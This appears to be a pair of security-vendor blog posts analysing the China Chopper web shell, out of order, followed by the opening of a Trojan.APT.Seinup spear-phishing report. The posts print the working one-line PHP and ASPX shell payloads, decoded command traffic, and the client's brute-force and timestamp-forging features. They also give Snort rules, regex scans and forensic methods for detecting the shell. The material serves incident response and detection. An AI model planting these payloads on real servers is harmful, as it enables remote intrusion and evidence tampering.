              Figure 5: A packet capture shows that the Web shell traffic is HTTP POST traffic over TCP port 80


              Because this is TCP traffic, we can “follow the TCP” stream in Wireshark (a popular open-source network-protocol analyzer that works in Unix and Windows). In Figure 6, the traffic in red at the top is from the attacker (Web client). The traffic shown in blue at the bottom is the response from the target (Web shell).


              Figure 6: After following the TCP stream, we can see that the majority of the attacker traffic is Base64 encoded.


              As highlighted above, the majority of the attacker traffic appears to be Base64 encoded. This is not a problem, though, because it can be easily decoded. We use the “TextWizard” feature of the free Fiddler Web debugger to discover what the attacker is sending. (Note: %3D is a URL-encoded representation of the equal sign ("="). Fiddler needs this to be converted to an equals sign for proper decoding.)

              Raw attacker traffic:


              var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).

              GetString(System. Convert.FromBase64String










              ("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6



              As shown In Figure 9, the Fiddler Web debugger text wizard easily converts the raw traffic from Base64 to plain text.


              Figure 9: Fiddler Web debugger decodes the Base64 traffic


              Decoded traffic:












              Finally we have something more readable. However, our Base64-decoded traffic is now attempting to decode more Base64 traffic that is being stored as z1 and z2. Going back to our attacker traffic, right after the end of the “Password” parameter, we see the z1 and z2 parameters.

              I've highlighted Base64-encoded parameters z1 and z2 in the following output:



              Base64-decoded parameters z1 and z2:

              z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]


              That explains how the client communicates with the shell. The “Password” parameter passes the code to the payload to be executed. The z1 is cmd, and z2 contains the arguments to the command prompt sent via cmd /c. All output is sent to standard output (stdout) back to the attacker, which creates the following response to the whoami command and the present working directory:

              ->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-



              Now that we understand the contents of China Chopper and what its traffic looks like, we can focus on ways to detect this pest both at the network and the host level.


              With a standard Snort IDS in place, this traffic can be caught with relative ease. Keith Tyler gives a basic IDS signature to work in his early China Chopper blog post:


              alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";

              http_client_body;flow:to_server,established; content:"POST"; nocase;

              http_method; ;msg:"Webshell Detected Apache";)


              To reduce false positives, we have tightened the Snort IDS signature to focus on China Chopper by looking for contents of “FromBase64String” and “z1” as follows:

              alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 

              (msg: "China Chopper with first Command Detected";

              flow:to_server,established; content: "FromBase64String";

              content: "z1"; content:"POST"; nocase;http_method;



              classtype:web-application-attack; sid: 900000101;)


              The following IDS signature looks for content of “FromBase64String” and any combination of “z” followed by one to three digits — it would find "z1”, “z10”, or “z100” for example. The idea: if the first command (z1) is missed, you still catch subsequent commands.

              alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 

              (msg: "China Chopper with all Commands Detected"; flow:to_server,established;

              content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;



              classtype:web-application-attack; sid: 900000102;)


              Both of these IDS signatures can be modified for further optimization when depth and offset are considered. Be sure to put a valid SID in before implementing and test the signature for performance.

              Now that we have discussed detection at the network level, we will see that detection at the host level is also possible. Because the shells must contain a predictable syntax, we can quickly attempt to find files that have that code in play.


              Many methods can be used to find files that contain China Chopper. The quickest and easiest method, especially on a Linux machine, is probably using regular expressions. As shown in Figure 10, a quick egrep across your Web directory can help identify infected files.

              egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php


              Figure 10:  Using egrep to find this Web shell


              As you can see in Figure 10, the egrep and regex commands are a powerful combination. While the regex may seem like gibberish, it really is not as bad as it seems. Ian Ahl has created a few regex tutorials that can help improve your regex skills. Here are two to get you started:

              Windows also provides a way to search files using regular expressions by using the native findstr command.


              Figure 11: Using findstr to locate China Chopper


              You may have noticed that we had to change up the regex a bit. This was necessary to get around some of the ways that findstr interprets regex. The command you would run is as follows:

              findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php


              These examples show detection in the PHP shell. To find the ASPX shell, just modify the regex to fit the syntax of the ASPX shell as shown:

              egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx

              findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx


              If you are not sure where all of the PHP or ASPX files are on a Windows host, you can use the dir command with some extended options to help you identify Web files that you may want to run our regex against (see Figure 12).

              dir /S /A /B *.php



              Figure 12: Recursive search through Windows using the dir command


              Findstr also has an option to search all subdirectories (see Figure 13).

              findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php



              Figure 13: Using findstr to recursively locate multiple instances of the Web shell



              I hope this explanation of China Chopper's features, platform versatility, delivery mechanisms, traffic analysis, and detection give you the knowledge and tools you need to eradicate this elegantly designed but dangerous menace.

              Good hunting.

              Breaking Down the China Chopper Web Shell – Part I

              Part I in a two-part series.

              China Chopper: The Little Malware That Could

              China Chopper is a slick little web shell that does not get enough exposure and credit for its stealth. Other than a good blog post from security researcher Keith Tyler, we could find little useful information on China Chopper when we ran across it during an incident response engagement. So to contribute something new to the public knowledge base — especially for those who happen to find the China Chopper server-side payload on one of their Web servers — we studied the components, capabilities, payload attributes, and the detection rate of this 4 kilobyte menace.


              China Chopper is a fairly simple backdoor in terms of components. It has two key components:the Web shell command-and-control (CnC) client binary and a text-based Web shell payload (server component). The text-based payload is so simple and short that an attacker could type it by hand right on the target server — no file transfer needed.

              Web Shell Client

              The Web shell client used to be available on, but we would advise against visiting that site now.

              Web shell (CnC) Client MD5 Hash
              caidao.exe caidao.exe 5001ef50c7e869253a7c152a638eab8a 5001ef50c7e869253a7c152a638eab8a

              The client binary is packed with UPX and is 220,672 bytes in size, as shown in Figure 1.

              Client binary viewed in WinHex

              Figure 1: Client binary viewed in WinHex

              Using the executable file compressor UPX to unpack the binary allows us to see some of the details that were hidden by the packer.

              C:\Documents and Settings\Administrator\Desktop>upx -d
              5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe
              Ultimate Packer for eXecutables
              Copyright (C) 1996 - 2011
              UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011
              File size         Ratio      Format      Name
              --------------------   ------   -----------   -----------
              700416 <-    220672   31.51%    win32/pe     decomp.exe
              Unpacked 1 file.

              Using PEiD (a free tool for detecting packers, cryptors and compilers found in PE executable files), we see that the unpacked client binary was written in Microsoft Visual C++ 6.0, as shown in Figure 2.


              Figure 2: PEiD reveals that the binary was written using Visual C++ 6.0

              Because the strings are not encoded, examining the printable strings in the unpacked binary provides insight into how the backdoor communicates. We were intrigued to see a reference to using the Chinese (simplified) language parameter (Figure 3) as well as references to the text “Chopper" (Figure 4).


              Figure 3: Printable strings refer to


              Figure 4: References to Chopper in the client binary

              So we have highlighted some attributes of the client binary. But what does it look like in use? China Chopper is a menu-driven GUI full of convenient attack and victim-management features. Upon opening the client, you see example shell entries that point to, which originally hosted components of the Web shell.

              To add your own target, right click within the client, select “Add” and enter the target IP address, password, and encoding as shown in Figure 5.


              Figure 5: Picture of the China Chopper Web shell client binary

              Server-side Payload Component

              But the client is only half of the remote access tool — and not likely the part you would find on your network. Its communication relies on a payload in the form of a small Web application. This payload is available in a variety of languages such as ASP, ASPX, PHP, JSP, and CFM. Some of the original files that were available for download are shown with their MD5 hashes:

              Web shell Payload MD5 Hash
              Customize.aspx Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08 8aa603ee2454da64f4c70f24cc0b5e08
              Customize.cfm Customize.cfm ad8288227240477a95fb023551773c84 ad8288227240477a95fb023551773c84
              Customize.jsp Customize.jsp acba8115d027529763ea5c7ed6621499 acba8115d027529763ea5c7ed6621499


              Even though the MD5s are useful, keep in mind that this is a text-based payload that can be easily changed, resulting in a new MD5 hash. We will discuss the payload attributes later, but here is an example of just one of the text-based payloads:


               <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

              Note that “password” would be replaced with the actual password to be used in the client component when connecting to the Web shell.

              In the next post, we provide regular expressions that can be used to find instances of this Web shell.


              The capabilities of both the payload and the client are impressive considering their size.  The Web shell client contains a “Security Scan” feature, independent of the payload, which gives the attacker the ability to spider and use brute force password guessing against authentication portals.


              Figure 6: China Chopper provides a “Security Scan” feature

              In addition to vulnerability hunting, this Web shell has excellent CnC features when combining the client and payload, include the following:

              • File Management (File explorer)
              • Database Management (DB client)
              • Virtual Terminal (Command shell)

              In China Chopper's main window, right-clicking one of the target URLs brings up a list of possible actions (see Figure 7).


              Figure 7: Screenshot of the CnC client showing capabilities of the Web shell

              File Management

              Used as a remote access tool (RAT), China Chopper makes file management simple.  Abilities include uploading and downloading files to and from the victim, using the file-retrieval tool wget to download files from the Web to the target, editing, deleting, copying, renaming, and even changing the timestamp of the files.


              Figure 8: File Management provides an easy to use menu that is activated by right-clicking on a file name

              So just how stealthy is the “Modify the file time” option? Figure 9 shows the timestamps of the three files in the test directory before the Web shell modifies the timestamps. By default, Windows Explorer shows only the “Date Modified” field. So normally, our Web shell easily stands out because it is newer than the other two files.


              Figure 9: IIS directory showing time stamps prior to the time modification

              Figure 10 shows the date of the file after the Web shell modifies the timestamp. The modified time on our Web shell shows up as the same as the other two files. Because this is the default field displayed to users, it easily blends in to the untrained eye — especially with many files in the directory.


              Figure 10: IIS directory showing time stamps after the time modification

              Clever investigators may think that they can spot the suspicious file due to the creation date being changed to the same date as the modified date. But this is not necessarily anomalous. Additionally, even if the file is detected, the forensic timeline would be skewed because the date that the attacker planted the file is no longer present. To find the real date the file was planted, you need to go to the Master File Table (MFT). After acquiring the MFT using FTK, EnCase, or other means, we recommend using mftdump (available from Written by FireEye researcher Mike Spohn, mftdump is a great tool for extracting and analyzing file metadata.

              The following table shows the timestamps pulled from the MFT for our Web shell file. We pulled the timestamps before and after the timestamps were modified. Notice that the “fn*” fields retain their original times, thus all is not lost for the investigator!

              Category Pre-touch match Post-touch match
              siCreateTime (UTC) siCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01 2/21/2003 22:48 2/21/2003 22:48
              siAccessTime (UTC) siAccessTime (UTC) 6/20/2013 1:41 6/20/2013 1:41 6/25/2013 18:56 6/25/2013 18:56
              siModTime (UTC) siModTime (UTC) 6/7/2013 0:33 6/7/2013 0:33 2/21/2003 22:48 2/21/2003 22:48
              siMFTModTime (UTC) siMFTModTime (UTC) 6/20/2013 1:54 6/20/2013 1:54 6/25/2013 18:56 6/25/2013 18:56
              fnCreateTime (UTC) fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01 6/6/2013 16:01 6/6/2013 16:01
              fnAccessTime (UTC) fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03 6/6/2013 16:03 6/6/2013 16:03
              fnModTime (UTC) fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42 6/4/2013 15:42 6/4/2013 15:42
              fnMFTModTime (UTC) fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04 6/6/2013 16:04 6/6/2013 16:04

              Database Management

              The Database Management functionality is impressive and helpful to the first-time user.  Upon configuring the client, China Chopper provides example connection syntax.


              Figure 11: Database Management requires simple configuration parameters to connect

              After connecting, China Chopper also provides helpful SQL commands that you may want to run.


              Figure 12: Database Management provides the ability to interact with a database and even provides helpful prepopulated commands

              Command Shell Access

              Finally, command shell access is provided for that OS level interaction you crave. What a versatile little Web shell!


              Figure 13: Virtual Terminal provides a command shell for OS interaction

              Payload Attributes

              We stated above that this backdoor is stealthy due to a number of factors including the following:

              • Size
              • Server-side content
              • Client-side content
              • AV detection rate


              Legitimate and illegitimate software usually suffer from the same principle: more features equals more code, which equals larger size. Considering how many features this Web shell contains, it is incredibly small — just 73 bytes for the aspx version, or 4 kilobytes on disk (see Figure 14). Compare that to other Web shells such as Laudanum (619 bytes) or RedTeam Pentesting (8,527 bytes). China Chopper is so small and simple that you could conceivably type the contents of the shell by hand.


              Figure 14: China Chopper file properties

              Server-Side Content

              The server side content could easily be overlooked among the other files associated with a vanilla install of a complex application. The code does not look too evil in nature, but is curious.


              Figure 15: The content of the file seems relatively benign, especially if you add a warm and fuzzy word like Security as the shell password

              Below are the contents of the Web shell for two of its varieties.




               <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>






               <?php @eval($_POST['password']);?>



              Client-Side Content

              Because all of the code is server-side language that does not generate any client-side code, browsing to the Web shell and viewing the source as a client reveals nothing.


              Figure 16: Viewing the source of the web shell reveals nothing to the client

              Anti-virus Detection Rate

              Running the Web shell through the virus-scanning website No Virus Thanks shows a detection rate of 0 out of 14, indicating that most, if not all, anti-virus tools would miss the Web shell on an infected system.


              Figure 17: Results of multiple anti-virus engine inspections showing China Chopper coming up clean

              The same holds true for VirusTotal. None of its 47 anti-virus engines flags China Chopper as malicious.


              Figure 18: Results of multiple AV engine inspections showing the Web shell comes up clean


              We hope that this post has advanced the understanding of this compact, flexible, and stealthy Web shell. If you are reading this, you may be facing China Chopper right now — if so, we wish you success in eradicating this pest. In Part II, we examine the platform China Chopper runs on and describe its delivery mechanisms, traffic analysis and detection.

              Trojan.APT.Seinup Hitting ASEAN

              1. Executive Summary

              The FireEye research team has recently identified a number of spear phishing activities targeting Asia and ASEAN. Of these, one of the spear phishing documents was suspected to have used a potentially stolen document as a decoy. The rich and contextual details (body and metadata) which are not available online lead us to believe this was stolen. This decoy document mentioned countries such as Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, and Vietnam, which leads us to suspect that these countries are targeted. As the content of this decoy document is suspected to be a stolen sensitive document, the details will not be published.

              This malware was found to have used a number of advance techniques which makes it interesting:

              1. The malware leverages Google Docs to perform redirection to evade callback detection. This technique was also found in the malware dubbed “Backdoor.Makadocs” reported by Takashi Katsuki (Katsuki, 2012).
              2. It is heavily equipped with a variety of cryptographic functions to perform some of its functions securely.
              3. The malicious DLL is manually loaded into memory which hides from DLL listing.

              As depicted in the diagram below, the spear phishing document (which exploits CVE-2012-0158) creates a decoy document and a malware dropper named exp1ore.exe. This dropper will then drop wab.exe (Address Book Application) and wab32res.dll (malicious DLL) inside the temp folder. By running wab.exe, the malicious DLL named wab32res.dll (located within the same folder) will be loaded using DLL side-loading technique. This will in turn install a copy of wab32res.dll as msnetrsvw.exe inside the windows directory to be registered as Windows service. By registering as a Windows service, it allows the malware to survive every reboot and persist on the network.


              Figure 1 Infection Flow

              This malware is named “Trojan.APT.Seinup” because one of its export functions is named “seinup”. This malware was analysed to be a backdoor that allows the attacker to remote control the infected system.


              Figure 2 Exported Functions

              2. Related APT Domain and MD5

              Based on our threat intelligence and reverse-engineering effort, below are some related domain and MD5 sums. Please note that some of the domain/IP association may change.

              2.1. Related Domain

              Domain/URL IP Country Comments CN CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: Registrar: XIN NET TECHNOLOGY CORPORATIONEmail:
 US US Registrar: GODADDY.COM, LLCEmail: Registrar: GODADDY.COM, LLCEmail: US US Registrar: GODADDY.COM, LLCEmail: Registrar: GODADDY.COM, LLCEmail: US US Registrar: GODADDY.COM, LLCEmail: Registrar: GODADDY.COM, LLCEmail:

              2.2. Associated Files

              Name MD5 Comments
              Spear-phishing document and decoy document Spear-phishing document and decoy document CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL
              iexp1ore.exe iexp1ore.exe 137F3D11559E9D986D510AF34CB61FBC 137F3D11559E9D986D510AF34CB61FBC Dropper Dropper
              wab.exe wab.exe CE67AAA163A4915BA408B2C1D5CCC7CC CE67AAA163A4915BA408B2C1D5CCC7CC Benign Address Book Application Benign Address Book Application
              wab32res.dll wab32res.dll FB2FA42F052D0A86CBDCE03F5C46DD4D FB2FA42F052D0A86CBDCE03F5C46DD4D Malware to be side loaded when wab.exe is launched. Malware to be side loaded when wab.exe is launched.
              msnetrsvw.exe msnetrsvw.exe FB2FA42F052D0A86CBDCE03F5C46DD4D FB2FA42F052D0A86CBDCE03F5C46DD4D Malware to be installed as a service. Note: This is the same as wab32res.dll. Malware to be installed as a service. Note: This is the same as wab32res.dll.
                  baf227a9f0b21e710c65d01f2ab01244 baf227a9f0b21e710c65d01f2ab01244 Calls to Calls to
                  0845f03d669e24144df785ee54f6ad74 0845f03d669e24144df785ee54f6ad74 Calls to Calls to
                  d64a22ea3accc712aebaa047ab818b07 d64a22ea3accc712aebaa047ab818b07 Calls to Calls to
                  56e6c27f9952e79d57d0b32d16c26811 56e6c27f9952e79d57d0b32d16c26811 Calls to Calls to
                  cdd969121a2e755ef3dc1a7bf7f18b24 cdd969121a2e755ef3dc1a7bf7f18b24 Calls to Calls to
                  709c71c128a876b73d034cde5e3ec1d3 709c71c128a876b73d034cde5e3ec1d3 Calls to Calls to

              3. Interesting Technical Observations

              3.1. Redirection Using Google Docs

              By connecting the malicious server via Google Docs, the malicious communication is protected by the legitimate SSL provided by Google Docs (see Figure below). One possible way to examine the SSL traffic is to make use of a hardware SSL decrypter within an organisation. Alternatively, you may want to examine the